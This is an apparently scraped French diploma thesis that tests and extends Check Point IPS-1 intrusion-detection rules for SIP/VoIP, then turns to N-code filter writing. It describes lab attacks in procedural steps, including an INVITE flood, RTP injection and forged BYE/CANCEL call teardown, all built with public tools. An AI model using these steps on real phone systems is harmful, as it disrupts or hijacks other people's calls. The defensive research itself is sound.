Académique Documents
Professionnel Documents
Culture Documents
rav
ail
dedi
plôme
TDD
Travail de diplôme
Résumé du problème :
Ce projet est né d’une initiative d’e-Xpert Solutions SA et IICT qui désiraient collaborer dans
le domaine de la sécurité VoIP. En effet grâce à l’aboutissement de la première étape du projet
Vadese (www.vadese.org), IICT souhaitait étendre les fonctionnalités des IDS conventionnels au
trafic VoIP et étendre ainsi les services SIEM (Security Information and Event Management) à
la VoIP. Dans le cadre de ce travail de diplôme nous proposons de tester et compléter les filtres
VoIP de l’IDS mis à disposition de CheckPoint (désigné par la suite IPS1). Cette extension
ayant pour objectif de démontrer l’utilité et efficacité d’une sécurisation du service VoIP au
sein d’une PME.
Ce projet de travail de diplôme a pour objectif :
– De déployer et réaliser des solutions de détection d’intrusions IDS pour les réseaux VoIP en
utilisant le produit IPS1 de CheckPoint.
– D’évaluer l’efficacité et le fonctionnement correct des solutions déployées.
travers un démonstrateur capable de mettre en évidence au moins deux attaques dans plusieurs
domaines de sécurité suivants :
– Dénis de Service (DoS) en exploitant
– Vulnérabilités des protocoles.
– Vulnérabilité de la QoS.
– Vulnérabilités des composants.
– Vulnérabilités des infrastructures réseau.
– Confidentialité.
– Vol de ressources.
– Intégrité.
– Imputabilité (Authentification).
– Attaque de protocole.
– Compléter la plateforme de test en ajoutant d’autres composants comme des softphones, etc.
– Décrire et tester les règles de détection VoIP déjà existantes sur IPS1.
– Répertorier les types d’attaques non couvertes par les règles existantes sur IPS1.
– Associer tous les messages SIP appartenant à la même communication de manière à mettre
en évidence une communication SIP.
– Développer de nouvelles règles VoIP en utilisant le langage N-code pour pallier les lacunes
du produit existant.
– Tester ces nouvelles règles.
– Développer un laboratoire IDS/VoIP qui devra aussi servir de laboratoire pour le futur cours
de sécurité VoIP
Introduction 5
Contexte et aperçus des activités . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Organisation du document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
6 Conclusion 63
Introduction
Organisation du document
Chapitre 1, Introduction à la sécurité VoIP
La sécurité est un des problèmes majeurs de la VoIP. Dans ce chapitre sont décrites les menaces
pesant sur les applications de téléphonie par IP et des solutions de sécurité sont proposées face
aux différentes menaces.
Chapitre 2, Fiabilité des filtres VoIP de l’IPS-1
Beaucoup d’IDS rencontrés dans le marché ne sont pas très fiable car lèvent beaucoup de
fausses alertes. Ainsi dans ce chapitre, quelques tests pratiques ont été effectués avec l’IPS-1
afin d’évaluer les possibilités de détection relatives à la VoIP.
Table des matières 6
La VoIP (Voice over Internet Protocol) est une technologie en pleine émergence qui permet
de transmettre du trafic vocal sur réseau IP. Le signal numérique, obtenu par numérisation de
la voix, est découpé en paquets qui sont transmis sur un réseau IP vers une application qui
se chargera de la transformation inverse. Auparavant les entreprises disposaient d’un réseau
informatique et d’un réseau téléphonique commuté (RTC). Actuellement grâce à la VoIP, il est
possible de tout fusionner sur un même réseau.
La VoIP offre de nouvelles possibilités aux utilisateurs et opérateurs qui bénéficient d’un réseau
basé sur IP. Le plus grand avantage de cette technologie, c’est son caractère économique. Elle
permet à la fois les transports de la voix, de données, vidéo, simplifiant ainsi la gestion du
réseau. De plus les entreprises utilisant les services VoIP voient réduire de manière considérable
leurs coûts de communications locales et internationales. Vu son fonctionnement par internet,
elle offre également une grande liberté de mobilité, les utilisateurs ne sont pas soumis aux
contraintes géographiques.
Cependant, l’intégration de la téléphonie dans l’environnement informatique l’expose à l’en-
semble des problèmes auxquels les systèmes informatiques sont déjà confrontés particulièrement
au niveau de la sécurité.
plus d’information sur l’architecture SIP voir le rapport du travail de semestre chapitre 3 donné
en annexe) .
personne qui pourrait se faire passer pour une des deux entités légitimes à des fins de trans-
mission, de réception et de détournement d’information non autorisés. Il existe plusieurs types
d’authentification :
– HTTP Digest Authentication permet au serveur d’authentifier les messages SIP REGISTER
et/ou INVITE envoyés par un IP Phone.
– L’authentification mutuelle permet au serveur d’authentifier le client et au client d’authenti-
fier le serveur.
Pour préserver la confidentialité et l’intégrité de l’échange de messages, le protocole sip possède
trois mécanismes de cryptages :
– Cryptage de bout en bout du Corps du message Sip et de certains champs d’en-tête sensibles
aux attaques.
– Cryptage au saut par saut (hop by hop) afin d’empêcher des pirates de savoir qui appelle qui.
– Cryptage au saut par saut du champ d’en-tête Via pour dissimuler la route qu’a emprunté
la requête.
Pour plus d’information, veuillez vous référez au document Bests Practices.
D’autres outils ont été développés dans le but de résoudre la problématique de la sécurité des
services voix et multimédia. Dans un premier temps un outils appelé système de détection
d’intrusion (IDS) a été créé dans le but de détecter les attaques SIP contre le proxy et les
vulnérabilités du protocole. Cet outil permet de contrôler la validité des messages SIP circulant
sur le réseau. L’IDS pourra alors détecter et émettre une alerte en cas d’attaque. Quelques
années plutard les systèmes de prévention des intrusions (IPS) ont été développés en suivant
une nouvelle philosophie : “prendre les mesures nécessaires pour contrer ces attaques ou ces
intrusions détectables”. Contrairement à l’IDS qui génère une alarme en cas d’anomalie dans le
trafic réseau, l’IPS bloque lui-même le flux qu’il juge malicieux.
L’évolution rapide des technologies, la convergence numérique vont introduire de nouveaux
services et par conséquent, de nouvelles vulnérabilités et de nouveaux vecteurs d’attaques.
Ainsi la sécurité sera toujours un sujet d’actualité permettant de garantir au mieux la sécurité
des équipements.
2
Fiabilité des filtres VoIP de l’IPS-1
IPS-1 Sensor
La sonde est chargée de surveiller le trafic sur le réseau afin d’analyser les flux de données
et d’émettre des alertes à destination du concentrateur (IPS-1 Alert concentrator ) en cas de
détection de paquets non-conformes.
Il existe des packages regroupant un ensemble de règles spécifiques à chaque type de protocole.
Ces règles sont écrites dans un langage N-code de telle sorte que si ces dernières sont violées, le
flux de données est jugé non conforme ainsi la sonde enregistre l’évènement comme une attaque.
Cet affichage permet également de naviguer entre les différentes alertes. De plus il est possible de
visualiser les caractéristiques de chaque alerte (le nom de l’alerte, le package et les backends qui
ont permet de générer l’alerte, les adresses source et destination, les ports source et destination).
En ayant le droit administrateur, il possible de visualiser toutes les règles de filtrages que
possèdent l’IPS-1 et également activer ou désactiver ces règles selon les besoins. Pour accéder
aux Packages et backends renfermant les règles de filtrages, il suffit de cliquer sur l’onglet
Management et de choisir Policies. Une fenêtre IPS-1 Policy Manager s’affiche puis choisir
Package/Backend Configuration pour obtenir la liste des règles de filtrage comme indiqué
ci-dessous.
Dans la présente section seront décrits les tests effectués avec les softphones et téléphones Cisco
puis une série d’attaques spécifiées dans le Best Practice seront appliquées au réseau et pour
finir le comportement de la sonde sera analysé.
Description de la règle
Mise en oeuvre
Pour tester cette règle l’utilisateur carol initie une communication avec l’utilisateur bob en
envoyant le message sip ci-dessous à l’aide du générateur de message SIPNess :
2. Fiabilité des filtres VoIP de l’IPS-1 14
Avec l’outil d’analyseur de trafic Ethereal, il est possible d’observer le paquet à l’origine de
cette attaque. Ce paquet est obtenu en double cliquant sur l’alerte émise visible, sur l’IPS-
1 Management Dashboard. Sur la figure 2.7, la requête SIP destinée à bob contient bien la
méthode INVITE en miniscule.
2. Fiabilité des filtres VoIP de l’IPS-1 15
Conclusion
Dès l’envoie de ce message une alerte lowercase_method_alert est émise ce qui prouve bien
le fonctionnement du filtre :
Description de la règle
Pour être conforme à la RFC 3261 comme spécifié sur l’inteface graphique décrivant la règle
MAX UDP PACKET SIZE permet de vérifier la taille du packet UDP. La description de cette
règle précise qu’un paquet UDP circulant sur ce réseau doit avoir au plus une longueur de
1300 bytes dans le cas contraire une alerte est levée. Nous notons que cette taille maximale est
éditable.
2. Fiabilité des filtres VoIP de l’IPS-1 16
Mise en Oeuvre
Pour mettre en pratique cette règle nous modifions cette taille maximale à 8 bytes. Ainsi tout
paquet circulant sur le réseau avec une taille supérieure à 8 bytes sera à l’origine de l’alerte
sip_compliance :udp_size_alert. carol invite l’utilisateur bob à établir une session.
Conclusion
L’envoi d’un paquet pour établir cette communication provoque automatiquement une alerte
sip_compliance :udp_size_alert car la règle MAX UDP PACKET SIZE n’a pas été res-
pectée.
METHODS
Description de la règle
Check Point se réfère à la liste des méthodes sip définies aux RFC 3261, 3262, 3265 pour définir
la règle METHODS. Les méthodes sip utilisées par le protocole SIP pour invoquer les diverses
actions de signilisation sont :
– INVITE : cette méthode invite l’usager à établir une session
– ACK : permet d’accuser la réception d’un message INVITE
– BYE : clôt une session entre deux usagers
– CANCEL : clôt une requête
– REGISTER : permet à un utilisateur de s’enregister auprés d’un serveur d’enregistrement
– OPTIONS : livre des informations concernant les paramètres de communication
– PRACK : sert à envoyer un accusé de réception provisoire (Provisional Response ACKnow-
ledgement, RFC 3262)
– SUBSCRIBE : méthode permettant d’abonner un usager à une liste d’evènements (RFC
3265)
– NOTIFY : permet d’informer un usager de la présence d’un évènement auquel il est abonné
(RFC 3265)
Tout paquet SIP circulant sur le réseau et ne contenant pas ces méthodes seront à l’origine de
l’alerte sip_compliance :unknown_methods_alert.
2. Fiabilité des filtres VoIP de l’IPS-1 18
Mise en oeuvre
Pour tester cette règle nous redéfinissons cette liste de méthodes en supprimant certaines mé-
thodes comme INVITE, ACK, CANCEL, BYE et nous établissons puis terminons une session
SIP.
Conclusion
Fig. 2.12: Envoi d’une requête INVITE pour tester la règle METHODS
En utilisant l’analyseur de trafic Ethereal nous pouvons récupérer sur le réseau le paquet à
l’origine de cette alerte.
Fig. 2.15: Envoi d’une requête ACK pour tester la règle METHODS
Elle demande à l’UAS de cesser de traiter la demande et de générer une réponse d’erreur à cette
demande. A la réception d’une telle requête la sonde IPS-1 lève une alerte sip_compliance :unk-
nown_method_alert ce qui vérifie encore une fois la règle METHODS.
La capture ci-dessous confirme bien les propos ci-dessus car en envoyant une requête CANCEL
à 18h28 nous observons à la même heure l’alerte sip_compliance :unknown_method_alert.
Fig. 2.18: Envoi d’une requête CANCEL pour tester la règle METHODS
Fig. 2.19: Envoi d’une requête BYE pour tester la règle METHODS
Pour tester la règle METHODS bob décide d’envoyer une requête BYE à l’utilisateur carol.
Fig. 2.20: Envoi d’une requête BYE pour tester la règle METHODS
Puisque cette méthode BYE n’est plus dans la liste des méthodes SIP que IPS-1 autorise,
alors une alerte du type sip_compliance :unknown_method_alert est détectée à l’envoi d’une
requête BYE.
BAD METHODS
Description de la règle
Cette règle consiste à la vérification des méthodes sip contenues dans les requêtes. Si cette
dernière contient des méthodes jugées comme mauvaises c’est à dire défini dans Variable Value
alors une alerte de type sip_uservars :bab_method_alert sera déclenchée par la sonde.
Mise en oeuvre
Pour tester cette règle nous ajoutons dans la Variable Value la méthode INVITE. Ainsi tout pa-
quet sur le réseau contenant INVITE sera à l’origine de l’alerte sip_uservars :bab_method_alert.
Pour mettre en pratique cette règle une requête INVITE est envoyée de carol vers bob comme
indiquée sur la capture Ethereal ci-dessous :
Fig. 2.22: Envoi d’une requête INVITE pour tester la règle BAD METHODS
Conclusion
Dés l’envoie de ce paquet la sonde détecte l’attaque et envoi l’alerte sip_uservars :bab_method_alert
sur le Management Dashboard.
2. Fiabilité des filtres VoIP de l’IPS-1 23
Le paramètre ”expires” d’une valeur de champ d’en-tête Contact indique la durée de validité
de l’URI (ici : 3600 sec). Ainsi, les usagers doivent s’annoncer une fois par heure auprès du
serveur d’enregistrement en envoyant une requête contenant la méthode REGISTER. En ajou-
tant la méthode REGISTER dans la liste des variables de configuration nous constatons que
toutes les heures une alerte sip_uservars :bab_method_alert est visible sur le Management
Dashboard.
Description de la règle
L’URI permet d’identifier un utilisateur de sip. Il a une forme similaire à celle d’une adresse
de messagerie électronique, contenant normalement un nom d’utilisateur et un nom d’hôte par
exemple sip :carol@192.168.0.219.
Mise en oeuvre
Pour tester la régle BAD REQUEST URI nous augmentons dans la variable de configuration
l’URI de l’utilisateur bob puis carol tente de demander un établissement de connexion SIP à
bob.
Conclusion
Ainsi toutes requêtes contenant l’URI de bob génère une alerte de type sip_uservars :bad_uri_alert.
Le paquet à l’origine de l’alerte de la figure 2.24 est mise en évidence à travers la capture
Ethereal ci-dessus.
Mise en oeuvre
Les différents tests effectués avec des téléphones Cisco et softphone montrent que les filtres
disponibles sur la sonde IPS-1 fonctionnent parfaitement. Pour évaluer d’avantage la perfor-
mance de l’IPS-1 nous testerons simultannément plusieurs régles définies sur l’IPS-1. Les régles
MAX UDP PACKET SIZE, BAD METHODS, BAD REQUEST URI sont testées dans une
seule requête. Pour cela nous éditons les variables de configuration de celles-ci, la taille maxi-
male d’un paquet est fixée à 8 bytes, la méthode INVITE est considérée comme une mauvaise
méthode et URI de bob est désigné comme étant une mauvaise uri.
Fig. 2.26: Envoie d’une requête INVITE testant simultanément plusieurs règles
2. Fiabilité des filtres VoIP de l’IPS-1 25
Conclusion
Lorsque l’utilisateur bob initie une communication (figure 2.26) trois alertes mise en évidence
sur le graphe-ci dessous sont émises par la sonde.
L’objectif de cette attaque est d’empêcher l’accés au proxy en provoquant une surcharge sur
celui-ci en l’envoyant plusieurs paquets d’établissement de connexion. Lorsqu’un proxy sip est
manipulé en acceptant un flot de requêtes INVITE, une rupture partielle ou totale de service
peut se produire.
2. Fiabilité des filtres VoIP de l’IPS-1 26
Mise en oeuvre
Le site www.hackingvoip.com/sec tools.html, spécialisé dans le domaine des attaques sip, offre
un ensemble de mécanismes (scénario) ”INVITE Flooder” pour surcharger le proxy. Un message
d’initialisation d’une connexion sip entre bob et carol est récupéré afin d’en extraire les infor-
mations sur la communication. Les informations utiles pour effectuer l’attaque sont recueillies à
savoir les adresses ip de bob et carol ainsi que les ports sources et destinations. Ces données et
le nombre de requêtes INVITE à envoyer sont fournis lors de l’exécution d’un script bash voir
annexe ??. Lors de ce processus plusieurs requêtes INVITE sont façonnées automatiquement
et envoyées au proxy où carol demande une communication avec bob.
Le schéma ci-dessous montre la réussite de l’attaque par l’envoi d’un flot de requêtes INVITE
au proxy.
Conclusion
A l’issu de cette attaque aucune alerte n’a été émise par la sonde donc les filtres définies sur
l’IPS-1 ne permettent pas de détecter ce type d’attaque.
Mise en oeuvre
Sur la page web que précédemment le scénario “rtpflooder” qui consiste d’injecter des paquets
RTP lors d’une communication. Pour effectuer l’attaque, nous suivrons les étapes suivantes :
3. Extraction les données utiles de l’en-tête RTP : adresses source et destination, ports source
et destination, numéro de séquence (seq), Timestamp, Synchronization source identifier
(SSRC)
4. Exécution d’un script bash donné en annexe permettant de créer de nouveaux paquets
RTP et l’insérer dans la conversation.
Conclusion
Comme mis en évidence sur le schéma ci-dessous l’attaque a bien été provoquée.
Cependant en se référant au Management dashboard nous constatons que l’IPS-1 n’émet aucune
alerte lors d’injection de paquets RTP.
BYE
Description de la règle
Une requête Bye envoyée contre un utilisateur provoque un deni de service (DoS). Cette attaque
peut être provoquée à n’importe quel moment de la communication. Ce qui provoque une
coupure de la communication entre les deux terminaux.
2. Fiabilité des filtres VoIP de l’IPS-1 29
Mise en oeuvre
1. Lancer un sniffer pour écouter le réseau afin de récupérer les informations sur la commu-
nication en cours. Celles-ci serviront à façonner un faux message BYE et qui sera envoyé
soit à l’appelant ou à l’appelé.
2. Effectuer un appel entre les deux terminaux.
3. Recupérer un paquet SIP ayant comme adresse source l’adresse du proxy et comme adresse
destination l’adresse de celui qu’on aimerait attaquer. En somme récupérer un paquet
”ACK” envoyé par le proxy SIP.
Après avoir recueillies les informations d’une session nous exécutons un script donnée en annexe
pour façonner un faux message BYE. Ceci en utilisant le logiciel BYE Teardown disponible sur
le site www.hackingvoip.com/sec tools.html.
Dans notre test nous initions un appel sur deux téléphones Cisco : Alice (192.168.0.11) joue le
rôle de l’appelant quant à Bob (192.168.0.10) , il joue le rôle de l’appelé et de la victime. Aprés
2. Fiabilité des filtres VoIP de l’IPS-1 30
récupération des informations d’une session nous exécutons le script pour injecter ce paquet
modifié et l’envoyer à Bob pour lui faire croire que la session est terminée afin qu’il raccroche.
Comme nous remarquons sur le diagramme Ethereal ci-dessous après injection d’un faux mes-
sage BYE, Bob termine la communication.
Conclusion
Aprés la mise en place de cette attaque aucune alerte n’a été émise par la sonde. En effet il
n’existe pas de backend par rapport à ce type d’attaque.
Cancel
Le but est ici de faire croire à un UAC (User Agent Client) appelé que son partenaire désire
annuler son appel. L’annulation d’un appel auquel le partenaire n’a pas encore répondu se
traduit par l’envoi d’une réponse CANCEL en SIP. Il faut donc que l’on se fasse passer pour
l’appelant en injectant un message CANCEL destiné à l’appelé tout en respectant les champs
de l’entête SIP. Il est également possible de faire l’inverse. C’est-à-dire que l’on peut faire croire
à l’appelant que l’appelé ne désire pas répondre. Cette attaque a été mise en place entre nos
deux utilisateurs Alice et Bob.
Comme pour le test précédent l’IPS-1 Check Point n’a levé aucune alerte face à l’attaque de
type CANCEL.
Ce qui confirme bien qu’en dehors des filtres développés par Check Point, la sonde n’émet pas
d’autres types d’alertes.
2. Fiabilité des filtres VoIP de l’IPS-1 33
2.4 Analyse
A l’issu des tests effectués avec des softphones et téléphones Cisco, l’IPS-1 Sensor détecte
parfaitement toutes les attaques ne respectant pas les règles définies dans les backends du
package SIP à savoir :
– ALERT ON BIG UDP PACKETS
– ALERT ON LOWERCASE METHODS
– MAX UDP PACKET SIZE
– METHODS
– BAD METHODS
– BAD REQUEST URI
– SIP PORTS
Dès la détection d’un paquet présentant une entorse aux règles mentionnées ci-dessus, l’IPS-1
engendre automatiquement une alerte visible depuis le management Dashboard. Durant ces
tests aucun faux positifs n’a été émis, ce qui est un atout extrêmement important.
D’autres part les règles ci-dessous indiquent explicitement dans leur description qu’elles sont
écrites selon les directives rfc :
– ALERT ON BIG UDP PACKETS, RFC 3261
– MAX UDP PACKET SIZE, RFC 3261
– METHODS, RFC 3261, 3262, 3265
La seconde constatation concerne la non détection des attaques du Best Practice telles que
l’Innondation du serveur proxy, l’injection de paquet RTP, le Déni de service (Bye, Cancel)...
Ceci pour la simple raison que les filtres présents dans la sonde ne permettent pas la détection
de ces d’attaques.
Dans la suite de ce travail il sera question de définir certains règles. Nous rappelons que les
règles de filtrages seront écrits en N-code, un langage qui nous ait tout à fait inconnu jusque
là. La première règle à développer est la détection d’un établissement et d’une terminaison
d’une session sip. Cette règle a été choisie en raison de l’existence d’un parseur de méthodes sip
(fichier sip.nfr) aidant à mettre en place ce filtre et à se familiariser avec le langage N-Code. Un
deuxième filtre sera développé, dans le but de détecter un paquet RTP (ou un seuil de paquet
RTP). Cette règle a été choisie pour satisfaire les besoins de mon collègue M. Wenger. Et si le
temps nous le permet un troisième filtre sera développé où il s’agira de détecter un denis de
service. Mais avant de mettre en place ces filtres, étudions la structure d’un filtre en N-Code.
3
Architecture des filtres de l’IPS-1
Comme précisé au début du rapport, le but de ce travail de diplôme est de compléter la gamme
de filtres VoIP disponibles sur l’IPS-1 Check Point. Ce chapitre sera consacré à la présentation
de la structure requise pour l’écriture d’un filtre.
La mise en place d’un filtre IPS-1 demande une structure bien définie consistant à créer des
entités “père et fils” appelé respectivement packages et backends. Le package est une entité
contenant un ensemble de fichiers spécifiques nécessaires pour l’écriture d’un filtre. Le nom du
package évoque le thème ou le protocole concerné (ftp, authentification, SIP). Ils peuvent éga-
lement contenir des “entités fils” dont chacun d’eux contient également un ensemble de fichiers
bien spécifiques permettant de mettre en place des règles de filtrages ainsi que des mécanismes
pour l’émission des alertes vers l’IPS-1 Management Dashboard en cas d’attaques. Ces derniers
sont appelés backend et leur nom indique l’étude d’une caractéristique précise du package.
Voici un petit exemple d’illustration du package SIP et de ses backends (sip/compliance
et sip/logging).
3. Architecture des filtres de l’IPS-1 35
Les différents fichiers que peuvent contenir les packages et backends sont :
– Pour les packages :
– Configuration file (<package>.cfg)
– N–Code file (<package>.nfr)
– Alert configuration file (<package>.acf)
– Values configuration file (<package>.values)
– Help files (<package><alert_name>).help)
– Description files (<package>.desc)
– Pour les backends :
– Configuration file (<backend>.cfg)
– N–Code file (<backend>.nfr)
– Alert configuration file (<backend>.acf)
– Values configuration file (<backend>.values)
– Help files (<backend><alert_name>).help)
– Description files (<backend>.desc)
3. Architecture des filtres de l’IPS-1 36
Parmi ces six types de fichiers présents dans les packages et backends cinq d’entre eux à savoir
*.acf, *.cfg, *.values, *.help, *desc sont parsés afin de remplir des interfaces graphiques.
Ces dernières permettent à l’administrateur d’effectuer des modifications sur les variables de
configuration sans devoir accéder au code pour en changer quelques lignes. Le fichier *.nfr
contient le programme en N-Code qui permettra de fitrer les paquets circulant sur le réseau et
d’émettre des alertes en cas de nécessité.
Notons que certains de ces fichiers restent optionnels. Nous distinguons 2 cas :
– Les backend et package renferment un mécanisme de filtrage des paquets en fonction de
plusieurs critères et les enregistrer pour une analyse ultérieure. Dans ce cas de figure au-
cune alerte n’est émise sur l’IPS-1 Management Dashboard. Les fichiers *.cfg et *.nfr restent
obligatoires contrairement aux fichiers *.desc, *.help, *acf, *.values.
– Lorsque des alertes doivent être émises vers le Management Dashboard en cas de détection
d’attaques alors les fichiers *.cfg, *.acf, *.nfr restent obligatoires contrairement aux fichiers
*.values, *.desc, *.help.
acfhdr
Ce bloc est obligatoire et est créé en premier dans tous fichiers ”.acf”. Il contient deux paramètres
obligatoires "Version" et "Fixed". Les seules valeurs autorisées pour ces paramètres sont
respectivements ”1” et ”TRUE”. Ceci est une convention, je n’ai pas trouvé des informations
suplémentaires pour une explication plus détaillée.
acfhdr
{
version=1 ;
fixed = true ;
}
3. Architecture des filtres de l’IPS-1 39
alert source
Ce bloc permet d’identifier toutes les alertes qui sont définies dans ce fichier. L’identifiant de
l’alert source doit être unique pour chaque backend, il suit le mot clé alert source. Cet identifiant
sert d’ identificateur de la fonction alert() définie dans le fichier avec l’extension nfr.
Fig. 3.4: Utilisation de l’identifiant du bloc alerte source dans la fonction alert()
La convention d’écritures de l’identifiant est nomBackend src (ou nomPackage nomBackend src)
pour un backend et dans le cas d’un package, nomPackage src (nomPackage source). Ce bloc
contient les paramètres suivants "Longname","shortname" et "groups" où les deux derniers
paramètres restent optionnels.
Shortname : la valeur de ce paramètre est utilisée pour remplir l’interface graphique “Alert
Details”. En effet la valeur du shortname est la valeur du paramètre “Alert Name”. Le shortname
peut contenir le caractère ( ). Ce paramètre étant facultatif, dans le cas où il n’existe pas, la
valeur de “Alert Name” sera par défaut le nom de l’identifiant du bloc “alert source”.
3. Architecture des filtres de l’IPS-1 40
Fig. 3.5: Relation entre le fichier acf et l’interface graphique Alerts Details
alert_source Identifiant
{
shortname = valeur 1 ;
longname = valeur 2 ;
groups = valeur 3 ;
}
Alert
Ce bloc permet d’identifier l’alerte en question. L’identifiant de ce bloc est un identificateur de
la fonction alert() (définie dans le fichier nfr). Ce fichier acf contiendra autant de bloc Alert
qu’il y aura de fonction alert() défini dans le fichier nfr correspondant.
3. Architecture des filtres de l’IPS-1 41
Il n’existe pas de convention d’écriture pour l’identifiant de ce bloc. Ce dernier contient en plus
des paramètres du bloc précédent les paramètres suivants : "Severity", "format”.
format : ce paramètre est utilisé pour remplir la partie description de l’interface graphique
“Alert Détails”. Le contenu de format donne une description sur la cause de l’alerte. La chaine
de caractère peut contenir les notations $1, $2 ... qui représentent le premier argument, le
deuxième argument, ainsi de suite de la fonction alert() (ormis les identificateurs).
Severity : determine le genre de l’alerte. Il existe 4 niveaux :
– SEV ATTACK - utilisé lorsque l’alerte est engendrée suite à des attaques.
– SEV ERROR - utilisé lorsque l’alerte est engendrée suite à des erreurs et d’autres choses qui
semblent avoir mal tourné
– SEV WARNING - utilisé lorsque l’alerte engendrée, indique des avertissements, normalement
pour des informations sur le système
– SEV INFO - Cette alerte n’est pas une attaque, mais founit des informations utiles.
La structure du bloc Alert est définie comme suit :
alert Identifiant
{shortname = valeur 1 ;
longname = valeur 2 ;
Severity = valeur 3 ;
format = valeur 4 ;
groups = valeur 3 ;
}
En plus des paramètres décrites ci-dessus, le fichier <backend>.cfg contient d’autres paramètres
qui sont :
– gui détermine le type d’affichage des données enregistrées. L’affichage est en générale de type
“list” mais peut être de type “histogram”.
– num_columns définit les différentes colonnes permettant d’enregistrer des informations sur
un paquet par exemple une colonne est réservée pour le stockage de l’adresse IP source, une
deuxième où est stockée l’adresse IP de destination, une autre pour le port source ainsi de
suite.
L’identificateur du backend s’écrit à partir de celui du package : backend id = package id YYY
(package id = NID XXX) où YYY est un nombre unique pour chaque backend du package.
Chaque colonne doit être définie au moins sur deux lignes pour définir d’une part le type des
données de la colonne et d’autre part le label qui représente le nom de la colonne. La convention
d’écriture est la suivante :
3. Architecture des filtres de l’IPS-1 43
– Adresse IP Destination
column type=p dst ip
column label=Destination Address
– Port Source
column type=p src port
column label=Source Port
– Port Destination
column type=p dst port
column label=Destination Port
– IP protocol
column type=p ip proto
column label=IP Protocol Number
3. Architecture des filtres de l’IPS-1 44
1. Définition du schéma
2. Déclaration des filtres et analyse des évènements
3. Générer les alertes
4. Enregistrement des alertes
La première étape a effectué, lors de l’écriture de ce fichier, est de définir le schéma en utlisant
la fonction suivante : library schema new(). Celle-ci consiste à enregistrer les données d’un
paquet qui nous semblent utiles. Il existe une interdépendance entre ce fichier et le fichier *.cfg.
Les paramètres de la fonction library schema :new(), en type “représentation”, sont les colonnes
définies dans le fichier <backend>.cfg. Les différents composants du type “représentation” sont :
– blob est une séquence de taille arbitraire d’octets.
– ethermac représente une adresse MAC Ethernet
– ip représente une adresse ip
3. Architecture des filtres de l’IPS-1 45
– int un interger
– string une séquence de caractères.
La structure du schéma est la suivante :
Il est ensuite obligatoire de définir un enregistreur à partir de la fonction recoder() afin d’y
stocker tous les données spécifiées dans le schema. La fonction recorder possède deux arguments.
Le premier argument consiste à définir le chemin et le nom du fichier où sont enregistrées les
données, le deuxième argument représente le schema défini précédemment. Voici un exemple
d’enregistreur.
La deuxième étape consiste à écrire des filtres. La structure du filtre est presque identique à
celle d’une fontion :
3. Architecture des filtres de l’IPS-1 46
Les fonctions alert() génèrent des alertes par rapport à certains évènements. Dans ce fichier
doivent être défini des fonctions alert() correspondant à chaque bloc d’alertes définies dans le
fichier <backend>.acf. Lors du déclenchement de certaines filtres il est possible d’éxécuter la
fonction alert() qui générera une alerte et l’enverra vers le Management Dashboard.
La fonction alert() possède plusieurs paramètres parmi lesquels nous avons :
source id : l’identifiant du bloc Alert source défini dans le fichier <backend>.acf qui identifie
toutes les alertes du backend, est le premier paramètre de la fonction alert . C’est un paramètre
recommandé car il est un identifateur de la fonction alert().
alert id : Le deuxième paramètre de la fonction est l’identifiant du bloc Alert du fichier <ba-
ckend>.acf. Il est également un identificateur de la fonction alert().
Ensuite vient d’autres paramètres supplémentaires à fournir dans le but de caractériser l’alerte
(ALERT CONFIDENCE, ALERT SEVERITY, ALERT EVENT TYPE, ALERT IMPACT,
ALERT ASSESSMENT ... ).
Toutes ces informations sont affichées sur l’interface graphique Alert Detail obtenu en double
cliquant sur une alerte du Management Dashboard.
Voici un exemple de définition d’alerte :
3. Architecture des filtres de l’IPS-1 47
En plus de générer une alerte comme précédemment, il est possible d’enregistrer les données
relatives à une alerte pour une analyse ultérieure. L’enregistrement de données se fait à travers
le mot clé record vers l’enregistreur défini dans la première étape (MY RECORDER).
4
Tutorial du langage N-Code : Ecriture
des filtres
Etape 1
Elle consiste à donner une brève descriptive de la variable de configuration. Cette description
sera précédée du mot clé “desc”. Voici les description pour les différentes variables de configu-
ration :
– description associée à une variable de configuration pour activer ou désactiver la règle per-
mettant de détecter tout établissement d’une session sip.
– description associée à une variable de configuration pour activer ou désactiver la règle per-
mettant de détecter la terminaison d’une session sip.
Etape 2
Celle-ci consiste à apporter une description supplémentaire plus détaillée par rapport à la
variable de configuration. Cette description est précédée du mot clé “text” pour chaque ligne.
– Description supplémentaire par rapport à la première variable de configuration (établissement
d’une session sip).
Etape 3
name ALERT_ON_DETECTION_SIP_SESSION_SETUP
name ALERT_ON_DETECTION_SIP_SESSION_TERMINATE
Etape 4
Dans la dernière étape, il s’agit de définir le type de la variable de configuration ainsi que sa
valeur par défaut. Dans notre cas, puisque ces variables servent à activer des régles de détection
d’établissement ou de terminaison d’une session sip, alors elles sont ainsi déclarées :
mode scalar
1
Dans ce fichier est également possible d’ajouter des mots ou phrases en commantaire qui seront
ignorés par le compilateur. Tout commentaire doit être précédé du caractère #.
<HTML>
<BODY>
<H1> Session SIP </H1>
<P>
Ce backend controle tous les paquets SIP
circulant sur le réseau. Il permettra d’emettre
une alerte vers le Management Dashboard en cas de
détection d’un établissement ou d’une terminaison
de session sip.
</P>
<P>
les variables de configuation définies sont :
</P>
<UL><LI>
<B>ALERT_ON_DETECTION_SIP_SESSION_SETUP</B> : lorsque
cette variable est active donc égal à 1, tout paquet
permettant un établissement de session sip(contenant)
une requ^ete INVITE engendrera une alerte.
</LI>
<LI>
4. Tutorial du langage N-Code : Ecriture des filtres 51
<B>ALERT_ON_DETECTION_SIP_SESSION_TERMINATING</B> :
lorsque cette variable est active donc égale à 1
et qu’il y a une fin session sip par l’envoie
d’une requete BYE une alerte est émise
vers le Management Dashboard.
</LI>
</UL>
</BODY>
</HTML>
Etape 1 :
La première étape est toute simple. Il suffit juste d’effectuer un “copier-coller” du bloc suivant
dans tous les fichiers portant l’extension acf.
acfhdr
{
version = 1 ;
fixed = TRUE ;
}
Etape 2 :
La deuxième étape consiste à la création du bloc alert source. Tout d’abord il faut donner un
nom à l’identifiant de ce bloc qui suit le mot clé alert_source. Cet identifiant est utilisé comme
identificateur de la fonction alert() définie dans le fichier session.nfr.
alert_source session_src
{...}
Ensuite il s’agira de définir les instructions du bloc en affectant des valeurs aux paramètres
suivants :
shortname : la valeur de ce paramètre est SessionSIP. Cette valeur doit être aussi brève que
possible. Comme préciser dans le chapitre 3, elle sert à remplir l’interface graphique Alert
Détails.
longname : la valeur de ce paramètre est SIP Session Backend. Cette valeur doit être contenu
entre guillemet.
group : la valeur de ce paramètre défini le nom du group auquel l’alerte source est membre.
4. Tutorial du langage N-Code : Ecriture des filtres 52
